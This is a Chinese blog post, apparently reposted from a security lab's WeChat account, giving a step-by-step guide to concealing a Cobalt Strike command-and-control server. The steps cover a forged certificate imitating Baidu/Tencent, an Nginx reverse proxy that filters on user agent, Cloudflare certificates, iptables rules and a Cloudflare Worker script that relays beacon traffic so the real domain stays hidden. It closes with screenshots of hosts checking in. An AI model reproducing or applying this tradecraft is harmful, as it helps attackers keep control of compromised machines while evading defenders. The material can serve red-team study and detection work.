域前置配合Nginx反代隐匿Cobalt Strike

admin 2022年4月1日00:35:59评论1,314 views字数 3640阅读12分8秒阅读模式

0x00 前言

上上期小记了一次利用CDN平台和free域名的Cobalt Strike隐匿方法。本次小记一下域前置配合Nginx反向代理进行Cobalt Strike隐匿。


0x01 去特征的几种简单方法


  1. 去除证书特征


cs的默认证书是肯定会被秒杀,生成一个新的证书来使用,使用keytool(Java数据证书的管理工具),它将key和certificates储存到keystore文件中

keytool -keystore CobaltStrike.store -storepass 123cvg -keypass 123cvg -genkey -keyalg RSA -alias baidu.com -dname "CN=China, OU=Tencent, O=Tencent, L=Tencent, ST=Tencent, C=Tencent"


  1. keytool的常用语法

命令:------生成证书时可以用如下几个------  -alias        指定别名  -storepass          指定更改密钥库的存储口令  ‐keypass pass       指定更改条目的密钥口令  -keyalg             指定算法  -dname              指定所有者信息  ---------------------------------  ‐certreq            生成证书请求  ‐changealias        更改条目的别名delete             删除条目  ‐exportcert         导出证书  ‐genkeypair         生成密钥对  ‐genseckey          生成密钥  ‐gencert            根据证书请求生成证书  ‐importcert         导入证书或证书链  ‐importpass         导入口令  ‐importkeystore     从其他密钥库导入一个或所有条目  ‐keypasswd          更改条目的密钥口令list               列出密钥库中的条目  ‐printcert          打印证书内容  ‐printcertreq       打印证书请求的内容  ‐printcrl           打印 CRL 文件的内容  ‐storepasswd        更改密钥库的存储口令


  1. 未修改前

域前置配合Nginx反代隐匿Cobalt Strike


  1. 使用生成的证书

域前置配合Nginx反代隐匿Cobalt Strike


  1. 修改默认启动端口

在teamserver中直接修改默认端口即可

域前置配合Nginx反代隐匿Cobalt Strike


0x02 部署Nginx反向代理


1、一键安装Nginx

apt install nginx


2、修改Nginx.conf文件


  1. 添加如下内容

server{server_name cs.xxxx.tk;listen 2096 ssl;root         /usr/share/nginx/html;location ~*/jquery {if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {return 302;}proxy_pass          https://127.0.0.1:8443;}

将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头


  1. 坑点①

在我设置好之后,发现报错,原因是没有注释掉默认文件中的server,注释了就行了


域前置配合Nginx反代隐匿Cobalt Strike

还有一行root ,以及最后闭合括号也要注释掉

域前置配合Nginx反代隐匿Cobalt Strike



0x03 申请https证书


  1. 在cloudflare中可以免费申请

域前置配合Nginx反代隐匿Cobalt Strike


  1. 使用的域名要是你的conf中配置的域名,也可以直接生成覆盖域的证书

域前置配合Nginx反代隐匿Cobalt Strike


  1. 这里默认的pem

域前置配合Nginx反代隐匿Cobalt Strike


  1. 将Certificate和Key分别存到sss.pem和ssk.pem

域前置配合Nginx反代隐匿Cobalt Strike



0x04 Nginx启用证书


  1. conf配置文件,添加如下内容

ssl_certificate "/home/cs4.4/pem/sss.pem";    ssl_certificate_key "/home/cs4.4/pem/ssk.pem";    ssl_session_cache shared:SSL:1m;    ssl_session_timeout  1440m;

域前置配合Nginx反代隐匿Cobalt Strike



0x05 为cs生成配置证书


  1. 用如下两个命令,-in后跟证书,-inkey跟秘钥

openssl pkcs12 -export -in sss.pem -inkey ssk.pem -out sb.ljw.p12 -name sb.ljw -passout pass:123cvb
keytool -importkeystore -deststorepass 123cvb -destkeypass 123cvb -destkeystore sb.ljw.s


  1. 将生成的证书放到cs目录下

域前置配合Nginx反代隐匿Cobalt Strike


  1. 在配置文件的Malleable C2 profile中配置证书

    set keystore “sb.ljw.store”;    set password123cvb”;

域前置配合Nginx反代隐匿Cobalt Strike

  1. 坑点②:

记得要开启ssl,就在监听的端口后跟上ssl即可


0x06 尝试启动CS设置listener


  1. 这里就可以使用https协议来监听了

上线端口设置成反向代理过来的端口,监听端口设置Nginx监听的端口

域前置配合Nginx反代隐匿Cobalt Strike


  1. 配置iptables规则,只允许127.0.0.1访问

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPTiptables -A INPUT -p tcp --dport 8443 -j DROP


  1. 这里测试发现连接不上

域前置配合Nginx反代隐匿Cobalt Strike




域前置配合Nginx反代隐匿Cobalt Strike



0x07 配置cloudflare-worker


  1. 因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用


  1. 创建一个服务

域前置配合Nginx反代隐匿Cobalt Strike


  1. 输入一个你喜欢的名字

域前置配合Nginx反代隐匿Cobalt Strike


  1. 快速编辑

域前置配合Nginx反代隐匿Cobalt Strike



  1. 写入js脚本

let upstream = 'https://xxx.xxx.tk'
addEventListener('fetch', event => { event.respondWith(fetchAndApply(event.request));})
async function fetchAndApply(request) { const ipAddress = request.headers.get('cf-connecting-ip') || ''; let requestURL = new URL(request.url); let upstreamURL = new URL(upstream); requestURL.protocol = upstreamURL.protocol; requestURL.host = upstreamURL.host; requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers); new_request_headers.set("X-Forwarded-For", ipAddress); let fetchedResponse = await fetch( new Request(requestURL, { method: request.method, headers: new_request_headers, body: request.body }) ); let modifiedResponseHeaders = new Headers(fetchedResponse.headers); modifiedResponseHeaders.delete('set-cookie'); return new Response( fetchedResponse.body, { headers: modifiedResponseHeaders, status: fetchedResponse.status, statusText: fetchedResponse.statusText } );}


  1. 这里需要设置X-Forwarded-For头,不然上线的地址会是woker的ipv6的地址

new_request_headers.set("X-Forwarded-For", ipAddress);


  1. 测试发包返回是否正常

域前置配合Nginx反代隐匿Cobalt Strike



  1. 保存并部署

域前置配合Nginx反代隐匿Cobalt Strike




  1. 手动访问发现无异常

域前置配合Nginx反代隐匿Cobalt Strike

    至此,之后通信的请求都是通过xxx.dev,隐藏真实域名。并且shellcode通信地址也是cloudflare的ip


0x08 Cobalt Strike上线


  1. 设置listener

域前置配合Nginx反代隐匿Cobalt Strike


  1. 访问8443端口的jquery-3.3.2.slim...js是可以访问到的

域前置配合Nginx反代隐匿Cobalt Strike


  1. Cobalt Strike上线主机

域前置配合Nginx反代隐匿Cobalt Strike


  1. beacon命令不回显问题解决


    修改配置文件头为如下即可解决

header "Content-Type" "application/*; charset=utf-8";


  1. wireshark抓取流量查看,发现通信地址是xxxx.xxx.dev,成功隐匿域名

域前置配合Nginx反代隐匿Cobalt Strike


  1. shellcode的通信地址也为cloudflare的地址

域前置配合Nginx反代隐匿Cobalt Strike



域前置配合Nginx反代隐匿Cobalt Strike



域前置配合Nginx反代隐匿Cobalt Strike


免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


原文始发于微信公众号(NGC660安全实验室):域前置配合Nginx反代隐匿Cobalt Strike

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日00:35:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域前置配合Nginx反代隐匿Cobalt Strikehttp://cn-sec.com/archives/860629.html

发表评论

匿名网友 填写信息